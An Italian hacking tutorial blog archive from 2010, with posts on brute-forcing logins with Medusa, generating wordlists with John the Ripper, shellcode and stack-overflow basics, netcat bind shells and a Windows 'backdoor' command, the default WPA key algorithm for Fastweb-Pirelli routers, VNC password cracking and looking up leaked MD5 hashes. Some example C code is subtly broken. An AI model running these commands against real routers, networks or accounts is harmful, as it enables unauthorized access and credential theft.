domenica 12 dicembre 2010

Craccare password con Medusa

Medusa è uno dei migliori password-cracker, funziona  su moltissimi protocolli per farvi un esempio http,ftp,pop3,MAP, MS-SQL, SMB, SSH, RLOGIN e molti altri sono tutti perfettamente supportati.Il programma è incluso di default in backtrack 4 , se volete scaricarlo potere potete utilizzare questo indirizzo http://www.foofus.net/jmk/tools/medusa-1.4.tar.gz. E' un programma a linea di comando, la sintassi per l'utilizzo è la seguente:

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] -M module [OPT]

-h/-H Qui è possibile specificare un singolo host oppure un file contenente un elenco di hosts, il file è un comune file di testo che è possibile comporre con un semplice editor.
-u/-U Per specificare un username o un elenco di username in un file.
-p/-P Per specificare una password o un file dizionario di password.
-M Serve per definire il modulo da utilizzare (es. http)

Oltre a questo è possibile inserire nel comando anche altri parametri opzionali, i più utilizzati sono:

-e [n/s/ns] "n" serve per provare username senza password, "s" per provare password=username, "ns"entrambe le opzioni.
-s  Per abilitare il protocollo SSL.
-n [NUM] Per utilizzare una porta diversa da quella di default per il protocollo scelto.
-f  Per fermare lo scan alla primo username/password trovato.
-v Mostra a video cosa succede(verbose).
-g [NUM]  Aspetta N secondi prima di provare a connettersi.
-r [NUM]  Aspetta N secondi prima di ripetere un tentativo di login.

Vi sono altre opzioni il cui utilizzo non è molto frequente, se volete un elenco completo basta eseguire il seguente comando medusa -help.Ecco ad esempio come è possibile cercare di craccare il router a cui siete connessi , supponiamo che l' indirizzo di rete del router sia 192.168.0.1 il comando è:

medusa -h 192.168.0.1 -U userlist.txt -P passlist.txt -e ns -f -M http -v 4

Il file userlist.txt potrebbe essere un file con gli "admin" di default dei vari router , stesso discorso per il file passlist.txt, questi file si possono reperire già belli pronti in rete facendo una semplice ricerca.

sabato 11 dicembre 2010

Scoprire chi è collegato alla nostra rete wifi

Esistono vari modi per sapere se qualche persona non autorizzata sta utilizzando la nostra rete wifi, il più ovvio è accedere al pannello di amministrazione del router, di solito è possibile fare questa operazione anche dal browser, da qui è possibile vedere i client connessi autorizzati e non autorizzati, se poi vogliamo è possibile impostare anche dei filtri,ad esempio suI MAC delle schede wifi, per cercare di tenere al di fuori della rete gli utenti indesiderati.Un altro metodo molto comodo è l'utilizzo di questo piccolo software chiamato "zamzom wireless" che è possibile scaricare da questo indirizzo http://www.zamzom.net/, il software in questione lavora in windows,il file di installazione consiste in un pacchetto .msi ed è disponibile anche in lingua italiana.Il suo utilizzo non presenta nessun tipo di problema, non necessita di nessuna configurazione ed è dotato di  interfaccia essenziale ed intuitiva, nella finestra dell' applicazione è presente un piccolo report sulla nostra rete e sulla nostra connessione:
-Tuo Mac
-Tuo ip di rete interna.
-Tuo Nome computer
-Intervallo ip wireless

 Subito sotto sono presenti 3 tasti per effettuare la scansione dei client connessi, è possibile oltre a scansionare i client per MAC anche ottenere la scansione per "nome computer".Certo questo software non fa nulla di fantascientifico, ma può essere utile.

venerdì 10 dicembre 2010

Creare un dizionario di password personale con john the ripper

Abbiamo già visto le funzionalità di questo stupendo programma, oggi cercheremo di fare un passo in più ,utilizzeremo alcune funzioni avanzate del tool in modo da generare un file dizionario personalizzato. La cosa migliore per capire i concetti che esprimerò è fare un bell' esempio, diciamo che ci occorre un dizionario di password di lunghezza nota ,5 caratteri, e che tutte le password del dizionario siano composte solo dai numeri compresi fra 0 e 9 e le lettere a,b,c,d,e,f. La prima cosa da fare è aprire ,con il vostro editor di testo preferito, il file john.conf scorrerlo fino alla linea "# Incremental modes" e copiare qui il vostro incremental:custom_1.

[Incremental:custom_1]
File = $JOHN/alnum.chr
MinLen = 5
MaxLen = 5
CharCount = 36

Con queste 5 linee si comunica a john quanto segue:

File = $JOHN/alnum.chr Dice a john di utilizzare solo caratteri alfanumerici.
MinLen = 5 Dice a john che la minima lunghezza della parola è 5 caratteri
MaxLen = 5 Dice a john che la massima lunghezza della parola è 5 caratteri.
CharCount = 36 E' il conteggio dei caratteri disponibili nel file "alnum.chr".

Questo non è sufficiente per raggiungere il nostro obiettivo, in quanto nel file alnum.chr sono presenti anche altre lettere oltre che a,b,c,d,e,f, quindi bisognerà scrivere un bel filtro da utilizzare con il parametro -external.Per scrivere i filtri di john si deve utilizzare un sottoinsieme del linguaggio C, in particolare:

-Come cicli è ammesso solo il ciclo "while".
-Solo i tipi int e void sono ammessi.
-Non sono ammessi puntatori.
-Le strutture non sono supportate.
-Gli array possono avere una sola dimensione.

Come parametro di input al nostro filtro riceveremo da john l'array "word" a cui è possibile accedere , per filtrare le lettere che non ci interessano il filtro è questo:

[List.External:Filter_custom_1]
void filter()
{
int i, c;
i = 0;
while (c = word[i++])
if ((c < 'a' || c > 'f') && (c < '0' || c > '9')) {
word = 0; return;
}
}

Per chi conosce il C il suo funzionamento è ovvio, ogni parola che arriva da john è controllata carattere per carattere, se ci sono caratteri esterni agli insiemi 0-9 e a-f ,la parola viene scartata (mettendo word=0), se invece la parola è composta solo dai caratteri scelti questa viene accettata e la funzione ritorna.Per redere attivo il filtro copiatelo nel file john.conf subito sotto il codice di incremental:custom_1, fatto ciò salvate il file e chiudetelo.Quello che resta da fare adesso è lanciare john con la seguente sintassi:

./john -incremental:custom_1 -external:Filter_custom_1 -stdout > mydiz.txt

Il file mydiz.txt conterrà tutte le parole contenenti solo i caratteri scelti.

giovedì 9 dicembre 2010

Scrivere lo shellcode

Nella scrittura dello shellcode bisogna rispettare alcune regole e utilizzare vari espedienti, requisito essenziale è che lo shellcode deve essere autonomo e non contenere byte null poichè questo fatto farebbe terminare la stringa.Ovviamente per poter scrivere shellcode bisogna conoscere il linguaggio assembly, per il processore x86 vi sono due tipi di sintassi la AT&T e la sintassi intel, probabilmente quest'ultima è più leggibile.In linux i programmi assemblatori che adottano la sintassi AT&T sono chiamati "gas", mentre quelli che adottano la sintassi intel sono chiamati "nasm".Abbiamo già visto alcuni registri del microprocessore quali EIP,ESP,EBD essi per il linguaggio assembly possono essere considerati delle variabili, anche se in generale non è opportuno utilizzarli come variabili di uso generale .I registri EAX,EBX,ECX,EDX,ESI,EDI sono molto più adatti allo scopo. Si tratta di registri a 32 bit, tuttavia è possibile accedere ad essi anche a piccoli blocchi utilizzando una diversa notazione.In generale la sintassi tipica del linguaggio nasm è la seguente:

istruzione <destinazione>, <origine>

Ora vediamo qualche istruzione utile nella costruzione dello shellcode:

mov -Utilizzata per impostare i valori iniziali.
add -Aggiunge il valore.
sub -Sottrae il valore.
push -Inserire valori nello stack.
pop  -Recupera valori dallo stack.
jmp -Modifica EIP impostando un determinato indirizzo.
call -Richiama una funzione, inserendo un indirizzo in EIP e un indirizzo di ritorno nello stack.
lea -Aquisisce l' indirizzo di una porzione di memoria.
int -Richiama interrupt.

Oltre alle istruzioni in assembly i vari sistemi operativi mettono a disposizione del programmatore una serie di funzioni facilmente richiamabili dall' assembly, esse sono le "chiamate di sistema" e vengono innescate tramite interrupt, in linux nel file /usr/include/asm/unistd.h è presente una lista delle chiamate di sistema,queste funzioni comprendono funzioni sui files , funzioni sulle directory e funzioni sui processi.Utilizzando le istruzioni che ho elencato e le chiamate di sistema è possibile scrivere bytecode in grado di svolgere svariate funzioni, e ne prossimi articoli ne vedremo qualche esempio.Intanto se intendete approfondire l 'argomento "linguaggio assembly" ho da consigliarvi un ottimo corso che potete scaricare da questo indirizzo http://www.manuali.net/manuali/intro/programmazione/corso_assembly_x86_2.html

mercoledì 8 dicembre 2010

Configurare le schede wifi in backtrack

 
Per chi utilizza windows la gestione delle varie periferiche in linux può essere difficoltosa ,in windows tutto avviene attraverso interfacce grafiche, e quando ci si imbatte in lunghe sequenze di comandi su shell le cose sembrano diventare troppo complicate.Quelli di voi che hanno lavorato con il DOS probabilmente sanno di cosa sto parlando,in linux gran parte della configurazione dell'hardware va fatta manualmente, esistono anche interfacce grafiche che a volte possono essere utilizzate , ma è necessario conoscere i comandi base del sistema operativo per poter trarre da esso la massima efficienza.Cominciamo con prendere confidenza con alcuni comandi necessari per la configurazione delle schede di rete in particolare delle schede  wifi, il primo è :

ifconfig wlan0 up/down

Questo comando comando serve per abilitare (up) o disabilitare (down) la vostra interfaccia wifi, ovviamente al posto di "wlan0" inserire il nome della vostra interfaccia.Il comando successivo con cui familiarizzare è :

iwconfig

Dato senza parametri vi mostrerà lo stato delle vostre schede wifi, mentre la sintassi seguente:
 
iwconfig wlan0 <opzioni>

consente di configurare nei minimi particolari la vostra scheda wifi, le opzioni principali sono:

mode [managed,ad-hoc,monitor] Con questo parametro si sceglie il modo in cui la rete deve operare.
essid <rete> Consente di scegliere l' essid della rete a cui ci si vuole connettere
channel <N> Consente di scegliere il canale in cui la vostra scheda wifi lavorerà.
rate <nM> Consente di scegliere la velocità di trasmissione della scheda wifi(es.1M).
modulation <11g|11b|....> Consente di scegliere il tipo di modulazione.
key <chiave> Consente di configurare una chiave wep da utilizzare per la connessione.

Vi sono altri parametri configurabili, anche se il loro utilizzo non è molto frequente, per averne una lista completa basta digitare "iwconfig --help".Come esempio vediamo come predisporre la propria sheda wifi a connettersi ad una rete di nome "alice-xx", con chiave wep=prova che trasmette sul canale 1.

iwconfig wlan0 mode managed channel 1 essid alice-xx key s:prova

martedì 7 dicembre 2010

Alcuni utilizzi di Netcat

Netcat è una delle utility più conosciute in ambio di networking, senza dubbio il suo punto di forza consiste nella versatilità, diciamo che in linea di principio è un software che consente di scrivere o leggere dati attraverso connessioni tcp/ip e può essere considerato un utile strumento di debbuging e controllo. Sicuramente questo tool non consente alcune "finezze" proprie di software specializzati per svolgere un determinato compito ma conviene conoscere , almeno a grandi linee, i sui possibili utilizzi poichè in alcune occasioni potrebbe essere utille.In molte distribuzioni linux netcat è installato di default, per windows è possibile scaricarlo a questo indirizzo http://www.downloadnetcat.com/. Come primo esempio vediamo come è possibile creare un semplice server che rimane in ascolto su una determinata porta il comando da utilizzare è:

nc -l -p <porta>

-p è la porta utilizzata per la connessione. Bisogna fare molta attenzione ad utilizzare netcat in questo modo, visto che non è richiesta nessuna autorizzazione per il collegamento. Per connettersi al server in ascolto basta eseguire sul client:

nc <host> <porta>

Per  attivare un terminale remoto senza utilizzare telnet è possibile usare netcat con questa sintassi:

nc -l -p 4000 -e /bin/sh

Mentre come client è possibile utilizzare lo stesso netcat con questa sintassi:

nc <host> 4000

Netcat consente anche di verificare le porte aperte di un host, anche se questo tipo di scansione è rilevabile, il comando è il seguente:

nc -v -z <host> <porte>

Per quanto riguarda il parametro <porte> può essere un semplice elenco (es. 20 80 testa le porte indicate) o anche un intervallo (es 20-23 testa le porte dalla 20 alla 23).A volte può essere utile utilizzare netcat per trasferire file, niente di più semplice sul lato server basta eseguire:

cat file.txt| nc -l -p 4000

Dal lato client per avviare connessione e download, eseguire:

nc <host>  4000 > file.txt

I Possibili utilizzi di netcat non sono affatto finiti, vediamo come è possibile creare una backdoor in windows, eseguire:

nc -l -p <porta> -vv -e cmd.exe

Il comando cmd.exe , eseguito quando il server accetta la connessione del client, restituisce una shell di windows, per connettersi dal client eseguire:

nc <host> <porta> -w

Questa breve panoramica sui possibili utilizzi di netcat spiega i motivi per cui il tool è chiamato "il coltellino svizzero delle reti", se vi occupate di reti vedrete che le occasioni di utilizzarlo non mancheranno.

domenica 5 dicembre 2010

Sfruttare i punti vulnerabili del software - Stack overflow

Prendiamo in esame il programma in C dell' articolo precedente,nel momento in cui si richiama la funzione copia() lo stack ha piu o meno  l'aspetto della figura.Quando la funzione cerca di scrivere 100 byte di dati nel buffer da 20 byte, i dati invadono il segmento di memoria adiacente  sovrascrivendo  puntatore dello stack frame , indirizzo di ritorno e l 'argomento della funzione.Dopo l 'esecuzione della funzione il programma cerca di ritornare all' istruzione successiva, ma trova un indirizzo diverso da quello memorizzato nello stack in origine, in questo caso, visto che abbiamo usato la lettera T(esadecimale 0x54), EIP punterà al valore 0x54545454, esso è un indirizzo di memoria scelto a caso che può contenere istruzioni non valide o essere inesistente, questo è il motivo per cui il programma è andato in crash.Ora se al posto dell' indirizzo 0x54545454 usato per sovrascrivere EIP si fosse utilizzato qualche indirizzo corrispondente a un codice eseguibile, il programma non si sarebbe bloccato ma avrebbe eseguito l' istruzione modificando il flusso di esecuzione del programma. Visto che è possibile modificare un indirizzo di ritorno, per prendere il controllo completo del software manca solo il codice da eseguire, qui entra in gioco l'iniezione di un "bytecode".Il bytecode è un pezzo di codice autonomo che può essere messo all' interno di un buffer, esso è soggetto ad alcune restrizioni in particolare non deve contenere caratteri speciali poichè deve sembrare un buffer di dati,il bytecode più comune è lo "shellcode" che genera una shell. Facciamo un esempio in linux, se si riesce a manomettere un programma "suid root" con uno shellcode allora l' aggressore disporrà dei privilegi di root, mentre il sistema è convinto che il programma suid root stia ancora assolvendo ai sui compiti  previsti.
Supponiamo che  il codice seguente sia un  programma suid root:

int main(int argc, char* argv[]){
char buff[500];
strcpy(buff,argv[]);
return 0;
}

Il buffer dovrà contenere lo shellcode e sovrascrivere l'indirizzo di ritorno, questo presuppone che l'indirizzo dello shellcode sia noto a priori, cosa non facile visto che lo stack cambia, vi è poi un'ulteriore complicazione i quattro byte dell' indirizzo di ritorno devono essere sovrascritti con l indirizzo dello shellcode.Per fare tutto ciò può essere utilizzata una tecnica nota come "NOP",si tratta di un'istruzione di un singolo byte che non fa assolutamente nulla,creando un grande array di istruzioni NOP e inserendole prima dello shellcode, se il puntatore EIP torna a qualunque indirizzo presente nel NOP viene incrementato di una unità fino al raggiungimento dello shellcode.

sabato 4 dicembre 2010

Sfruttare i punti vulnerabili del software - Buffer overflow

Abbiamo accennato ad alcune caratteristiche del linguaggio C, esso prevede che il programmatore si faccia carico della correttezza e integrità dei dati, se questo controllo fosse demandato al compilatore gli eseguibili ottenuti sarebbero molto più voluminosi e lenti. Questa vicinanza del C al linguaggio macchina consente di aumentare il controllo sull' hardware e di conseguenza l'efficienza del software prodotto, il rovescio della medaglia è che ciò può tradursi in vulnerabilità ai buffer overflow e perdite di memoria.Ad esempio, se viene allocato spazio in memoria per delle variabili,non esiste un sistema automatico per assicurare che i contenuti trovino posto nello spazio previsto a contenerli. Questa è l essenza del "buffer overflow", è da notare che i dati in eccesso potrebbero sovrascrivere zone della memoria adiacenti, fatto che potrebbe essere sfruttato per eseguire codice arbitrario.Ma esaminiamo il fenomeno con più calma, prendete questo semplice programma in C:


void copia(char* prov){
char buff[20];
strcpy(buff,prov);
}

int main(){
char over[100];
for(k=0;k<100;k++){
over[i]='T';
}
copia(over);
exit(0);
}

In questo esempio , si cerca di copiare il contenuto di un buffer di 100 caratteri in uno che ne può contenere soltanto 20, quando lo si compila va tutto bene , ma quando lo si esegue otterrete un errore di "Segmantation fault", il che indica che mancando lo spazio necessario il buffer ha "straripato" dalla sua memoria allocata provocando il crash. Immaginate un programma che prevede un campo per l 'inserimento di user-name senza un controllo attento sui dati in ingresso, magari funziona bene per anni, poi un hacker potrebbe provare ad inserire una stringa di migliaia di caratteri in un campo destinato a ospitarne al massimo 30,e mandare il tutto in crash.L' obiettivo di un hacker di rado di limita a mandare in crash un programma, ma piuttosto a prendere il controllo di un sistema, nei prossimi articoli scopriremo come questo è possibile sfruttando il buffer overflow sullo stack.

venerdì 3 dicembre 2010

Software per craccare wifi fastweb-pirelli

E' gia da qualche tempo che  circolano degli algoritmi di generazione delle chiavi WPA di default di molti router, si potrebbe discutere sulla motivazione che ha spinto verso questo studio, personalmente non credo che sia soltanto la volontà di scroccare la connessione internet del vicino, ma penso che alla base ci sia una "voglia di sapere e di condividere le conoscenze".Se ci pensiamo bene questi algoritmi resi pubblici,hanno obbligato le case costruttrici di router a prendere provvedimenti, a modificare il firmware e considerare maggiormente il problema della sicurezza.Con questo non voglio dire che gli hacker siano dei moderni Robin Hood, però bisogna anche considerare il fatto che chi si occupa di sicurezza, e trova una falla nel sistema, deve rendere pubbliche le sue conoscenze, in questo modo è possibile porvi rimedio, quindi la pubblicazione di questi algoritmi contribuirà a rendere la vostra connessione più sicura e non il contrario. Come esempio ho deciso di illustrarvi l'algoritmo di generazione della chiave del router fastweb-pirelli, per generare la chiave si parte dall' SSID ne userò uno che circola in rete:

SSID = 00:1C:A2:BA:2C:E8

A questi sei valori in esadecimale, si concatena una stringa esadecimale di valore costante:

\x22\x33\x11\x34\x02\x81\xFA\x22\x11\x41\x68\x11\x12\x01\x05\x22\x71\x42\x10\x66

La stringa complessiva risulta essere:

\x00\x1C\xA2\xBA\x2C\xE8\x22\x33\x11\x34\x02\x81\xFA\x22\x11\x41\x68\x11\x12\x01\x05\x22\x71\x42\x10\x66

Ad essa deve essere applicata una  funzione di hash ,l' MD5, e si ottiene:

95ed90a01b4de2f2ced0ade17f68ac68

Per il calcolo della chiave sono necessari soltanto i primi quattro valori esadecimali ovvero:

95,ed,90,a0

Ogni valore è contenuto in un BYTE di memoria come mostrato:

       95            ed             90           a0
10010101 11101101 10010000 10100000


Adesso è necessario operare un trasformazione dei BYTE , in pratica si devono dividere in gruppi da 5 bit e considerare i primi cinque valori ottenuti:

10010 decimale 18
10111 decimale 23
10110 decimale 22
11001 decimale 25
00001 decimale 1


Ora ragionando in numeri decimali, se il valore di ciascuno è maggiore di 10, al valore in esame dovrà essere aggiunto il valore decimale 87, nel caso in esame i valori diventano:

decimale 18 > 10 -> decimale 105
decimale 23 > 10 -> decimale 110
decimale 22 > 10 -> decimale 109
decimale 25 > 10 -> decimale 112
decimale 1  < 10 -> decimale   1


Ultima operazione ,si trasformano i numeri ottenuti in esadecimale è otteniamo la chiave di default:

696e6d7001 (è da notare che il valore "1" deve essere scritto in esadecimale come "01").

Come vedete, fastweb-pirelli non si era preoccupata molto della sicurezza,ho implementato un programmino per windows che vi consentirà di testare il vostro router, basta mettere l' SSID e vi trova la password ,potete scaricarlo a questo indirizzo http://hotfile.com/dl/86878069/6482c82/fastwebcrack.exe.html, mi raccomando utilizzatelo SOLO per testare il vostro router,vi ricordo che entrare in reti altrui senza il consenso del legittimo proprietario è reato penale.

giovedì 2 dicembre 2010

Sfruttare i punti vulnerabili del software - La Memoria

Prima di procedere con degli esempi pratici sulla scrittura degli exploit, bisogna necessariamente avere un'idea di come funziona un computer, mi rendo conto che per afferrare a pieno alcuni concetti bisognerebbe conoscere almeno le basi della programmazione a basso livello,  ci sono degli ottimi tutorial in internet su questo argomento basta avere la buona volontà di leggerli.Ora parliamo della memoria, essa consiste essenzialmente di byte destinati all' immagazzinamento dei dati che sono associati a indirizzi numerici.A questa memoria si può accedere mediante questi indirizzi leggendo o scrivendo,lo schema di indirizzamento a 32 bit, quello utilizzato dai processori x86, consente 2^32(4.294.967.296) indirizzi possibili.Oltre alla memoria RAM,il processore ha una sua memoria propria, di dimensioni modeste, le porzioni di memoria del processore vengono chiamate "registri" i più importanti sono:
-EIP ,puntatore all' istruzione successiva a 32 bit.
-EBP ,puntatore alla base del record di attivazione.
-ESP ,puntatore alla parte superiore dello stack.
Quando si programma ad alto livello ,ad esempio con il C ,le variabili devono essere dichiarate con un "tipo", questi "tipi" possono essere numeri interi, caratteri o anche strutture definite dall' utente, a seconda del "tipo" in fase di esecuzione viene allocata la giusta porzione di memoria.Dei particolari tipi di variabili sono i "vettori" o "buffer",che sono degli elenchi di un particolare tipo di dati, generalmente l'indirizzo del primo elemento del buffer viene memorizzato in un puntatore.Una particolarità della gestione della memoria dei processori x86 è il sistema di ordinamento detto "little endian" in cui il byte meno significativo è il primo,in pratica i byte sono posti in memoria in ordine inverso, anche se i compilatori ad alto livello tengono conto automaticamente dell' ordinamento dei byte, lavorando in assembler questo è un particolare da tenere presente.A volte per un vettore(supponiamo uno di caratteri) vengono allocati N byte di memoria ma ne vengono effettivamente utilizzati meno,ci saranno ovviamente dei byte superflui,Lo zero è utilizzato come delimitatore per terminare la stringa ad esempio:
 
byte         0 1 2 3 4 5 6 7 8 9 10 11 12 ....
caratteri  c i a o 0 x x x x x   x   x  x ....


La parola ciao in un buffer di N byte, nel quinto byte è presente lo zero che indica la fine della stringa di caratteri.La memoria di un programma è divisa in cinque segmenti chiamati:

-text
-data
-bss
-heap
-stack


In text sono memorizzate tutte le istruzioni in linguaggio macchina, è da notare che le istruzioni non sempre si susseguono in modo lineare, in quanto eventuali istruzioni come jump o call trasferiscono nel registro EIP un diverso indirizzo di memoria. Durante l' esecuzione del programma , l'autorizzazione a scrivere su questo segmento di memoria è disabilitata e questo segmento di memoria ha dimensione fissa.In data e in bss sono memorizzate le variabili globali e statiche, questi segmenti di memoria pur essendo modificabili in fase di esecuzione,hanno anche loro dimensione fissa. In heap sono memorizzate le altre variabili del programma, la dimensione di heap può variare in fase di esecuzione, a seconda delle necessità l' heap si espande o si contrae , quando si espande lo fa verso indirizzi di memoria più alti. Lo stack è sostanzialmente un "blocco note" utilizzato per immagazzinare temporaneamente i dati durante l' esecuzione di funzioni, quando un programma chiama una funzione essa avrà un proprio insieme di variabili che le vengono trasferite, e il codice della funzione sarà collocato in una diversa posizione dal segmento text.Visto che il registro EIP deve cambiare quando si esegue la funzione, lo stack serve per ricordare le variabili trasferite e l' indirizzo a cui EIP deve ritornare alla fine della funzione.Lo stack funziona con uno schema "frist in - last out" nel senso che il primo dato immesso sarà l' ultimo ad essere estratto, quando si inserisce un dato nello stack si usa il termine push, quando lo si estrae si usa pop. Il registro del processore ESP, serve per contenere l' indirizzo dell' ultimo dato in questo segmento di memoria.Lo stack , come   l' heap ha dimensione variabile, ma a differenza di heap quando si espande lo fa verso indirizzi di memoria più bassi.

mercoledì 1 dicembre 2010

Proteggere la propria connessione wifi con fakeAP

Come abbiamo visto negli articoli precedenti, la protezione delle connessioni WiFi è un problema davvero arduo da affrontare,con tutta probabilità gli strumenti software progettati per penetrare in questo tipo di reti sono molto avanti agli strumenti software progettati per proteggerle, e anche i protocolli di protezione faticano a reggere il passo.Ad oggi il protocollo WPA2 sembra sicuro, ma non scommetterei un centesimo sulla sua inviolabilità fra cinque anni.A volte l' hardware in dotazione non consente neppure di utilizzare questo genere di protezione, e quindi si ricorre al vecchio e malandato WEP oppure si lascia la rete completamente aperta.Ma cosa possiamo fare per aumentare la sicurezza di una rete aperta o protetta con il WEP? Un buon tentativo potrebbe essere utilizzare fakeAP, anche se non tutti potranno utilizzarlo in quanto funziona solo con le wifi-card che hanno chipset PRISM(è disponibile un clone del programma che lavora con wifi-card atheros si chiama airraid ed è possibile scaricarlo a questo indirizzo http://www.pettingers.org/code/airraid.html).
FakeAP una volta in funzione creerà decine di migliaia di falsi access-point, in modo che la vostra rete reale potrà nascondersi e quindi avere minori possibilità di venire craccata,e quando dico decine di migliaia non sparo numeri a caso! Immaginatevi un hacker che vede sul suo monitor 50.000 reti, magari con nome identico e diversi MAC, sicuramente sarebbe disorientato!Bene analizziamo la sintassi del programma e le sue varie opzioni:

fakeap.pl --interface wlanx [--channel X][--mac xx.xx....][--essid nome][--word file.txt][--sleepN][--vendors file.txt][--wep N][--key KEY][--power N]

Come possiamo vedere l' unico paramento necessario è --interface a cui deve seguire il nome della vostra interfaccia wifi (PRISM), vediamo ora i parametri opzionali:

--channel X Senza questo parametro i canali dei falsi AP sono random , impostando il canale viene utilizzato questo.
--mac xx.xx.... Stesso discorso per i mac, se intendete usare solo un mac scrivetelo qui.
--essid Anche questo parametro è utilizzato per scegliere un nome unico per i falsi AP.
--wep Questa è una opzione un po' particolare, si deve scegliere un numero fra 0 e 1 che rappresenta la probabilità di generare un faslo AP protetto con chiave wep e un falso AP aperto.Per rendere l'idea, se mettiamo 0,5 ogni 10 falsi AP 5 saranno aperti e 5 protetti con wep.
--sleep Intervallo in secondi per il cambio del falso AP, di default è 0,25s.
--power Potenza di trasmissione in mw.
--key Con questa opzione è possibile scegliere la chiave wep da utilizzare nei falsi AP protetti.
--word Se decidiamo di utilizzare diversi nomi per i falsi AP, li possiamo mettere in un file di testo e usare questa opzione.
--vendors Per specificare una serie di produttori di wifi-cards, e quindi settare i prefissi dei mac(le prime 3 coppie di caratteri) utilizzati nei falsi AP.

Nella versione 0.3.1 del software sono presenti dei file precompilati che volendo è possibile utilizzare:

--word koaps-fo-wordlist.txt, stefan-wordlist.txt
--vendors stefan-maclist.txt

Bene, vediamo qualche esempio:

perl fakeap.pl --interface wlan0 --words lists/stefan-wordlist.txt --vendors lists/stefan-maclist.txt

Crea falsi AP utilizzando come nomi quelli contenuti nel file stefan-wordlist.txt, e come mac utilizza i prefissi dei vendors contenuti nel file stefan-maclist.txt, è da notare che i valori dei mac oltre il prefisso sono random.

Altro esempio:

perl fakeap.pl --interface wlan0 --channel 11 --essid TEST --wep 1 --key test1

Crea  un falso AP sul canale 11 con il nome di "TEST", la rete è protetta con chiave wep "test1".

martedì 30 novembre 2010

Craccare VNC con vncrack

Vncrack è un cracker per server VNC, per i pochi che non lo sapessero VNC è un software che consente il controllo remoto di un computer, questo software è implementato con un' architettura client/server, il server gira sul computer da controllare , il client sul computer che controlla, ovviamente il client prima di poter accedere al server deve autenticarsi, vncrack serve per tentare di craccare la password di autentificazione.In linux si tratta di un programma a linea di comando ed è incluso in Backtrack 4,il link per la versinone windows è a questo  indirizzo http://www.phenoelit-us.org/vncrack/download.html.Tra le varie possibilità di download è presente anche quella di ottenere il codice sorgente in C.Ovviamente, prima di utilizzare il software bisognerebbe assicurarsi che all' indirizzo del target sia attivo il servizio VNC , generalmente sulla porta 5900 , cosa che è possibile verificare con nmap.La sintassi l'utilizzo di vncrack è la seguente:

./vncrack -h <target> -w <wordlist> [opzioni]
-terget è l'indirizzo IP della macchina obiettivo.
-wordlist è il file dizionario dove sono contenute le password (file di testo).

Le opzioni principali sono le seguenti:

-v verbose mode, mostra a video quello che sta accadendo.
-d N aspetta N nanosecondi dopo ogni tentativo.
-D N aspetta N secondi dopo ogni tentativo.
-p P usa la porta P al posto della porta 5900.
-s N aspetta N secondi in caso di connessione fallita.

Una possibilità ulteriore di questo software è utilizzarlo offline su macchine con sistema operativo windows, in windows le password di VNC sono in una di queste chiavi di registro:

\HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password
\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\Password


Utilizzando vncrack con questa sintassi:

./vncrack -W

Otterrete la password, come mostrato in figura:
Questo software è davvero molto efficace, per questo motivo se utilizzate VNC seguite queste elementari norme di sicurezza:

-Cambiare la porta di default di VNC.
-Utilizzare password "forti", difficilmente presenti nel dizionario.
-Abilitare VNC server solo quando ne avete realmente bisogno.

lunedì 29 novembre 2010

L'hash MD5 e la sicurezza

Vi sarà capitato spesso di trovare accanto al file da scaricare una lunga stringa di caratteri dal nome sibillino MD5, i più curiosi si saranno anche chiesti che cosa è, e a cosa serve, oggi cercherò di spiegarlo. MD5(Message Digest 5) è un algoritmo di hashing,abbiamo già parlato di crittografia il processo che consente di criptare i file e poi decriptarli attraverso l' uso di chiavi, l' hash invece funziona in modo unidirezionale, ovvero è possibile  da un file ottenere un hash ma non è possibile risalire al file dall' hash (almeno da un punto di vista strettamente matematico).Il funzionamento di questo algoritmo è tale che qualsiasi sia la lunghezza del file esso restituisce sempre una stringa di 128 bit(32 caratteri), non è mia intenzione annoiarvi con la trattazione rigorosa dell' algoritmo, ma se volete approfondire potete trovare una buona buona descrizione del procedimento matematico a questo indirizzo http://fatmatt.wordpress.com/2007/09/16/algoritmo-md5-breve-descrizione-e-procedimento-matematico/. In sostanza MD5 può essere utilizzato come una sorta di "firma digitale", ecco il motivo per cui sempre più spesso viene postato vicino al file che intendete scaricare, dato che l' MD5 è unico per ogni file,se una volta fatto il  download, e calcolato l' MD5 , i due hash non corrispondono allora il file è un fake e potrebbe essere stato manomesso e contenere virus o trojan. Senza dubbio dal punto di vista della sicurezza è un valido aiuto, a questo indirizzo è possibile scaricare un software per il calcolo dell' MD5 di un file http://www.softonic.it/s/calcolo-md5. Gli utilizzi dell' MD5 non sono finiti, visto che si tratta di un algoritmo non invertibile è utilizzato anche per verificare le password degli account, in pratica si conserva in un file l' hash e quando un utente si deve autentificare viene calcolato l' hash della password che immette e confrontata col valore memorizzato nel file, in questo modo non è necessario conservare le password in chiaro in un file ,cosa che sarebbe estremamente rischiosa.Ma non è tutto oro quello che luccica, esistono siti che contengono database con milioni di MD5, quindi per decriptarla si procede confrontando l' hash con tutti quelli contenuti nel database come su questo sito http://md5.rednoize.com/. Se provate ad inserire nel sito questo hash:

c6698873b4f14b995c9e66ad0d8f29e3

Otterrete la parola che lo ha generato cioè "california", questo apre una falla nella sicurezza ,poichè molti amministratori di siti lasciano a disposizione i file contenenti gli hash delle password, quindi con una semplice ricerca su google è possibile impadronirsi delle credenziali di accesso degli utenti. Ad esempio mettendo come stringa di ricerca su google:

"c6698873b4f14b995c9e66ad0d8f29e3" and user

Trovate una serie di username e password...se fossi in voi farei un controllo sulle varie password che utilizzate nei vostri account...non si sa mai.

domenica 28 novembre 2010

Sfruttare i punti vulnerabili del software

Come molti sapranno i programmi sono un insieme di regole e istruzioni da applicare in un certo ordine, che in sostanza dicono al computer cosa deve fare. Ci sono molti protocolli per comunicare alle macchine tali istruzioni essi prendono il nome di "linguaggi di programmazione", non esistono linguaggi migliori o peggiori ,ma semplicemente linguaggi adatti per affrontare un determinato problema e linguaggi meno adatti.Possiamo comunque cercare di scindere i linguaggi di programmazione in due ampie categorie, i linguaggi orientati alla macchina e quelli orientati al problema, per questi ultimi il programmatore deve concentrarsi esclusivamente sulla risoluzione del problema , e non deve occuparsi del modo in cui il computer gestisce  realmente i dati e di come li elabora, un tipico esempio di questo linguaggio è il BASIC.Nel caso invece di linguaggi orientati alla macchina, oltre al problema il programmatore deve occuparsi anche dei  dettagli , deve conoscere come i dati sono gestiti nei registri del microprocessore, deve occuparsi della gestione della memoria, del controllo dei tipi di dati e quant'altro, un esempio di questo linguaggio è l' Assembler. Esistono poi soluzioni di compromesso, linguaggi come il 